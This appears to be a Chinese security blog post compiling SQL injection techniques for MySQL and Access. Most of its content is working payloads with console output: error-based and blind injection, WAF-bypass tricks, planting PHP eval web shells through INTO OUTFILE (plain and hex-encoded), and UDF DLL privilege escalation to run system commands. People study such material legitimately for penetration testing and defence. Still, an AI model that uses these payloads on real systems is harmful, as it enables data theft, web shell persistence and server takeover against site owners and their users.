SQL注入姿势

收集一些关于SQL注入的姿势,长期更新:D


关于mysql字段名和保留字冲突的问题

当mysql的字段名和保留字冲突的时候,sql语句中的字段名需要加上反引号`来加以区别 select \KEY` from test
也说明可以用`来绕过空格。

注入点在limit关键字后面的利用方法

SQL语句类似下面这样:(此方法仅适用于5.0.0<mysql<5.6.6的版本)

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT (注入点)

mysql 5.x 的文档中的 select 的语法

SELECT
[ALL | DISTINCT | DISTINCTROW ]
  [HIGH_PRIORITY]
  [STRAIGHT_JOIN]
  [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
  [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
  [ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
  [ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name' export_options
  | INTO DUMPFILE 'file_name'
  | INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]

limit 关键字后面还有 PROCEDURE 和 INTO 关键字,into 关键字可以用来写文件,但这在本文中不重要,这里的重点是 PROCEDURE 关键字.MySQL默认可用的存储过程只有 ANALYSE

PROCEDURE ANALYSE 通过分析select查询结果对现有的表的每一列给出优化的建议

PROCEDURE ANALYSE的语法如下:
SELECT … FROM … WHERE … PROCEDURE ANALYSE([max_elements,[max_memory]])

max_elements (默认值256) analyze查找每一列不同值时所需关注的最大不同值的数量.
analyze还用这个值来检查优化的数据类型是否该是ENUM,如果该列的不同值的数量超过了
max_elements值ENUM就不做为建议优化的数据类型。
max_memory (默认值8192) analyze查找每一列所有不同值时可能分配的最大的内存数量v

尝试用这个存储过程

mysql> select username from user where uid>0 order by uid limit 0,1 procedure analyse(1);
ERROR 1386 (HY000): Can't use ORDER clause with this procedure

ANALYSE支持两个参数

mysql> select username from user where uid>0 order by uid limit 0,1 procedure analyse(1,1);
ERROR 1386 (HY000): Can't use ORDER clause with this procedure

可以使用报错注入

mysql> select username from user where uid>0 order by uid limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.53'
mysql> select username from user where uid>0 order by uid limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1);
ERROR 1105 (HY000): XPATH syntax error: ':sql'

如果不支持报错注入的话,还可以基于时间注入,直接使用sleep不行,需要用BENCHMARK代替
mysql> select username from user where uid>0 order by uid limit 0,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

order by 子句后可接and和, 后的语句,而limit 后不能

注入时过滤字段名,获取不到字段名

常见的做法利用union搭配别名子查询,在不知道字段的时候进行注入。

mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)  
mysql> select * from (select 1)a,(select 2)b,(select 3)c union select * from user;
+---+------+--------+
| 1 | 2| 3  |
+---+------+--------+
| 1 | 2| 3  |
| 1 | a| 123456 |
| 2 | mino | 511323 |
| 3 | b| asd|
+---+------+--------+
4 rows in set (0.00 sec)
mysql> select e.3 from(select * from (select 1)a,(select 2)b,(select 3)c union select * from user)e;
+--------+
| 3  |
+--------+
| 3  |
| 123456 |
| 511323 |
| asd|
+--------+
4 rows in set (0.00 sec)

mysql> select * from user where uid=1 union select (select e.3 from(select * from (select 1)a,(select 2)b,(select 3)c union
select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h;

    +------+----------+----------+
| uid  | username | password |
+------+----------+----------+
| 1| a| 123456   |
| asd  | 1| 1|
+------+----------+----------+
2 rows in set (0.00 sec)

如果waf拦截了information_schema、columns、tables、database、schema等关键字或函数,且限制了union

爆库名

Polygon(ls1, ls2, …)

Polygon从多个LineString或WKB LineString参数 构造一个值 。如果任何参数不表示LinearRing(也就是说,不是一个封闭和简单的LineString),返回值就是NULL

如果传参不是linestring的话,就会爆错,而当如果我们传入的是存在的字段的话,就会爆出已知库、表、列。

mysql> select uid from user where uid=1 and Polygon(uid);
ERROR 1367 (22007): Illegal non geometric '`sql`.`user`.`uid`' value found during parsing

除了Polygon外,其他同样能用来报错获取得到当前表名和字段的还有:

1.multiPolygon(id)
2.multilinestring(id)
3.GeometryCollection(id)
4.MultiPoint(id)
5.linestring(id)

如果再限制使用payload长度

mysql> select uid from user where uid=1-a();
ERROR 1305 (42000): FUNCTION sql.a does not exist

原理:一个库中存在不同的系统或自定义函数,如果函数不存在,他就会爆出这个库没有此函数。

爆字段

 mysql> select uid from user where uid=1 and (select * from (select * from user as a join user as b)as c);
ERROR 1060 (42S21): Duplicate column name 'uid'

原理:在使用别名的时候,表中不能出现相同的字段名,于是我们就利用join把表扩充成两份,在最后别名c的时候 查询到重复字段,就成功报错。

同时,可以利用using爆其他字段

mysql> select uid from user where uid=1 and (select * from (select * from user as a join user as b using(uid))as c);
ERROR 1060 (42S21): Duplicate column name 'username'
mysql> select uid from user where uid=1 and (select * from (select * from user as a join user as b using(uid,username))as c);
ERROR 1060 (42S21): Duplicate column name 'password'

参考:http://www.wupco.cn/?p=4117

写shell技巧

Mysql使用十六进制编码字符串替代字符串常量

在MySQL中,可以使用select into outfileselect into dumpfile命令向文件系统写文件,不能重写已有的文件

outfile —- 用于导出查询得到的所有数据
(注意点:

  1. INTO OUTFILE不会覆盖文件
  2. INTO OUTFILE必须是查询语句的最后一句
  3. 路径名是不能编码的,必须使用单引号)

dumpfile —- 用于导出一条数据,通常写入第二条的时候出错,但第二条内容已被写入文件,允许写二进制文件(INTO DUMPFILE函数在写文件会保持文件得到原生内容,这种方式对于二进制文件是最好的选择
当我们在UDF提权的场景是需要上传二进制文件等等用OUTFILE函数是不能成功的)

load_file—- 读取文件所有内容

windows操作系统的下反斜杠会被忽略,用正斜杆才能创建到对应的目录。

mysql> select username from user into outfile  'E:/tool/phpstudy/MySQL/123.txt';
Query OK, 3 rows affected (0.00 sec)

mysql> select username from user into dumpfile  'E:/tool/phpstudy/MySQL/111.txt';
ERROR 1172 (42000): Result consisted of more than one row

mysql> select load_file("E:/tool/phpstudy/MySQL/123.txt");
+---------------------------------------------+
| load_file("E:/tool/phpstudy/MySQL/123.txt") |
+---------------------------------------------+
| 1234
mino
a
|
+---------------------------------------------+
1 row in set (0.28 sec)

mysql> select load_file("E:/tool/phpstudy/MySQL/111.txt");
+---------------------------------------------+
| load_file("E:/tool/phpstudy/MySQL/111.txt") |
+---------------------------------------------+
| 1234mino                                    |
+---------------------------------------------+
1 row in set (0.00 sec)

outfile 采用tab制表符,来区分字段,会转义换行符;dumpfile 函数不对任何列或行进行终止,也不执行任何转义处理

支持union的时候:

id=1 union select 1,2,'<?php @eval($_POST['c']); ?>’ into outfile ‘/var/www/html/phpinfo.php’%23

如果有过滤,可以转换成16进制绕过。

id=1 union select 1,2,0x3c3f70687020406576616c28245f504f53545b2763275d293b203f3e into outfile ‘/var/www/html/phpinfo.php’%23

如果一句话中空格被过滤掉,可以利用outfile写文件产生的制表符来绕过。

id=1 union select '<?php','@eval($_POST['c']);?>','3’ into outfile ‘/var/www/html/phpinfo.php’%23

不支持union的时候:

fields子句:在FIELDS子句中有三个亚子句:TERMINATED BY、 [OPTIONALLY] ENCLOSED BY和ESCAPED BY。如果指定了FIELDS子句,则这三个亚子句中至少要指定一个。

(1)TERMINATED BY用来指定字段值之间的符号,例如,“TERMINATED BY ‘,’”指定了逗号作为两个字段值之间的标志。

(2)ENCLOSED BY子句用来指定包裹文件中字符值的符号,例如,“ENCLOSED BY ‘ “ ‘”表示文件中字符值放在双引号之间,若加上关键字OPTIONALLY表示所有的值都放在双引号之间。

(3)ESCAPED BY子句用来指定转义字符,例如,“ESCAPED BY ‘*‘”将“*”指定为转义字符,取代“\”,如空格将表示为“*N”。

可以利用TERMINATED BY插入一句话,由于它是通过插入分隔符号来getshell的,所以必须查询结果有多个列

select * from user into outfile 'E:/tool/phpstudy/MySQL/555.php' fields terminated by '<?php phpinfo();?>';
Query OK, 3 rows affected (0.28 sec)

mysql> select load_file("E:/tool/phpstudy/MySQL/555.php");
+-----------------------------------------------------------------------------------------------------------------------------------------+
| load_file("E:/tool/phpstudy/MySQL/555.php") |
+-----------------------------------------------------------------------------------------------------------------------------------------+
| 1<?php phpinfo();?>a<?php phpinfo();?>123456
2<?php phpinfo();?>mino<?php phpinfo();?>511323
3<?php phpinfo();?>b<?php phpinfo();?>asd
 |
+-----------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

id=1 or 1=1 into outfile ‘/var/www/html/phpinfo.php’ fields terminated by ‘<?php phpinfo(); ?>’%23

如在无web脚本 执行 但是有mysql root 执行的环境下 我们就可以 通过
into dump 函数导入udf.dll进行提权

mysql> show variable like '%plugin%';

+----------------+------------------------------------------+
|Variable_name   | Value|
+----------------+------------------------------------------+
| plugin_dir |c:\mysql\mysql server 5.1\lib/plugin  |
+----------------+------------------------------------------+

mysql> select unhex(‘udf.dll hex code’) into dumpfile ‘c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll’;

mysql> select * from func; #查看是否有人创建过udf 如果有就可以省略

mysql> create function MyCmd returns string soname ‘’c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll’;

mysql> select MyCmd(‘whoam’);

一点小知识点:

如何获取该udf.dll文件的16进制值(hex)?
我们可以本地搭建mysql环境 找个可以用的udf.dll文件 执行下面操作

mysql> select hex(load_file (‘c:/windows/temp/xxoo.dll’)) into outfile ‘c:/windows/temp/xxoo.txt’;

如何获取该udf插件的内置 函数?

通过C32 等16进制编辑器或直接通过记事本打开看关键字 即可。

参考:http://www.cnblogs.com/qing123/p/6771858.html

基于union查询的盲注

1
2
3
4
5
6
7
mysql> select * from admin union distinct select 1,2,0x32 order by 3 desc;
+-----+-------+----------------------------------+
| uid | name | pass |
+-----+-------+----------------------------------+
| 1 | admin | 21232f297a57a5a743894a0e4a801fc3 |
| 1 | 2 | 2 |
+-----+-------+----------------------------------+
1
2
3
4
5
6
7
mysql> select * from admin union distinct select 1,2,0x33 order by 3 desc;
+-----+-------+----------------------------------+
| uid | name | pass |
+-----+-------+----------------------------------+
| 1 | 2 | 3 |
| 1 | admin | 21232f297a57a5a743894a0e4a801fc3 |
+-----+-------+----------------------------------+

与盲注大致相同,都是根据ASCII一位一位猜测,这是是利用MySql的字符串排序操作是从前往后一一用ascii码比对的 。我们可以控制后面的那个查询的第三个字段,让它的ASCII值最小开始变化,当查询结果第一条返回的username字段是2的时候,我们就知道这个字符的ascii码减一就是跟数据库中的相等.所以就可以一位一位的猜出来password字段了

这样的利用场景在于过滤规则严格,如过滤了括号,导致无法使用函数,过滤了需要查询的字段名

参考:http://wonderkun.cc/index.html/?cat=1&paged=7

注入点在like

搜索时没顾虑参数的,如keyword=关键字:

注入的参数为keyword=’ and [查询条件] and ‘%25’=’,即生成语句:

select * from 表名 where 字段 like ‘%’ and [查询条件] and ‘%’=’%’

access

access数据库并不像mysql那样方便,可以拥有information_schema这个包含数据各种数据库,表以及字段信息的“新华字典”。

虽然有一个msysobjects,但是大多情况下即使管理员也没办法读取其里的信息,因为读取它需要设置权限。

测试表名

1
2
3
' and (select Count(*) from form1)>=0 or '%'='
' and exists(select * from [cqdl]) or '%'='

对于access数据来说,如果不能利用msysobjects的话,我们只能暴力破解表名、字段名了,而这个往往需要一个表名字典、字段名字典。并且不能提权,写shell。

updatexml报错注入为什么需要字符串拼接函数拼接特殊字符,如0x7e

updatexml中存在特殊字符、字母时,会出现报错,报错信息为特殊字符、字母及之后的内容 。也就是说如果我们想要查询的数据是数字开头,例如 123abc ,那么查询结果只会显示 abc。所以我们会看到很多 updatexml 注入的 payload 是长这样的 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) ,在所要查询的数据前面凭借一个特殊符号(这里的 0x7e 为符号 ‘~’ )。

冷门的字符串处理函数绕过

  • MAKE_SET(bits,str1,str2,…)

    1
    2
    3
    4
    5
    6
    7
    mysql> select make_set(3,'a','b','c','d');
    +-----------------------------+
    | make_set(3,'a','b','c','d') |
    +-----------------------------+
    | a,b |
    +-----------------------------+
    1 row in set (0.00 sec)

返回一个设定值 (一个包含被‘,’号分开的字字符串的字符串) ,由在bits 组中具有相应的比特的字符串组成。str1 对应比特 0, str2 对应比特1,以此类推。str1, str2, …中的 NULL值不会被添加到结果中。

bits应将期转为二进制,如,3为,0011,倒过来排序,则为1100,将bits后面的字符串str1,str2等,放置在这个倒过来的二进制排序中,取出值为3对应的字符串,则得到’a,b’

1
2
3
4
5
6
7
mysql> select make_set(1|4,'a','b',NULL,'d');
+--------------------------------+
| make_set(1|4,'a','b',NULL,'d') |
+--------------------------------+
| a |
+--------------------------------+
1 row in set (0.00 sec)

1|4表示进行或运算,为0001 | 0100,得0101,倒过来排序,为1010,’a’,’b’,NULL,’d’得到的是a。null不取,只有1才取对应字符串

所以报错注入可以这样用

1
select updatexml(1,make_set(3,'~',(select user())),1);

还有类似的函数:lpad()、reverse()、repeat()、export_set() (lpad()、reverse()、repeat()这三个函数使用的前提是所查询的值中,必须至少含有一个特殊字符,否则会漏掉一些数据)

1
2
3
4
5
6
7
8
9
10
11
mysql> select updatexml(1,reverse((select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '@toor
mysql> select updatexml(1,export_set(1|2,'::',(select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '::,::,root@localhost,root@localh
(EXPORT_SET(bits,on,off[,separator[,number_of_bits]]))
mysql> select updatexml(1,lpad('@',30,(select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '@localhostroot@localhostr@'
mysql> select updatexml(1,repeat((select user()),2),1);
ERROR 1105 (HY000): XPATH syntax error: '@localhostroot@localhost'

updatexml报错最多只能显示32位,需要时结合SUBSTR函数来获取数据就行了

参考:https://xz.aliyun.com/t/2160

OTHERS

skip-grant-tables这行代码意思就是跳过跳过授权表,即是可以跳过密码验证直接进入数据库

添加一个不限制IP用户名为test的用户,密码为abc

grant select,insert,update,delete on *.* to 'test'@'%' Identified by "abc";

删除用户test

drop user test@'%'

查看当前用户信息

SELECT User, Host, Password FROM mysql.user
MYSQL数据库的认证密码有两种方式,MYSQL 4.1版本之前是MYSQL323加密,MYSQL 4.1和之后的版本都是MYSQLSHA1加密,MYSQL数据库中自带Old_Password(str)和Password(str)函数,它们均可以在MYSQL数据库里进行查询,前者是MYSQL323加密,后者是MYSQLSHA1方式加密。

DESCRIBE

DESCRIBE 更多地用于获取表结构信息

{DESCRIBE | DESC} tbl_name [col_name | wild]

DESCRIBE is a shortcut for SHOW COLUMNS. “SHOW COLUMNS” 语法能提供更多的关于输出列的信息。

SHOW [FULL] COLUMNS {FROM | IN} tbl_name [{FROM | IN} db_name] [LIKE 'pattern' | WHERE expr]

show columns form 表名 from 数据库名或者:show columns from 数据库名.表名

DESCRIBE 提供有关一个表的列信息。colname 可以是一个列名或是一个包含 SQL 通配符字符 “%” 和 “” 的字符串。这种情况下,输出结果将会是匹配到的列的信息。如果列名里边没有空字符或特殊字符,wild 没有必要使用引号。

1
2
3
4
5
6
7
mysql> desc news tid;
+-------+------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+-------+------------------+------+-----+---------+----------------+
| tid | int(10) unsigned | NO | PRI | NULL | auto_increment |
+-------+------------------+------+-----+---------+----------------+
1 row in set (0.01 sec)

可以判断字段是否存在

1
2
3
4
mysql_connect('localhost', 'root', 'root');
mysql_select_db('demo');
$test = mysql_query('Describe cdb_posts first');
$test = mysql_fetch_array($test);

$test[0]返回的是该字段的名称,比如我要查询first字段,返回的就是first

如果此字段不存在返回的就是NULL,通过这样可以判断一个字段是否存在

参考:http://www.yulegeyu.com/2017/04/16/%E5%BD%93%E8%A1%A8%E5%90%8D%E5%8F%AF%E6%8E%A7%E7%9A%84%E6%B3%A8%E5%85%A5%E9%81%87%E5%88%B0%E4%BA%86Describe%E6%97%B6%E7%9A%84%E5%87%A0%E7%A7%8D%E6%83%85%E5%86%B5%E3%80%82/

文章作者: Venture
文章链接: http://yoursite.com/2018/08/19/SQL注入/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Venture's Blog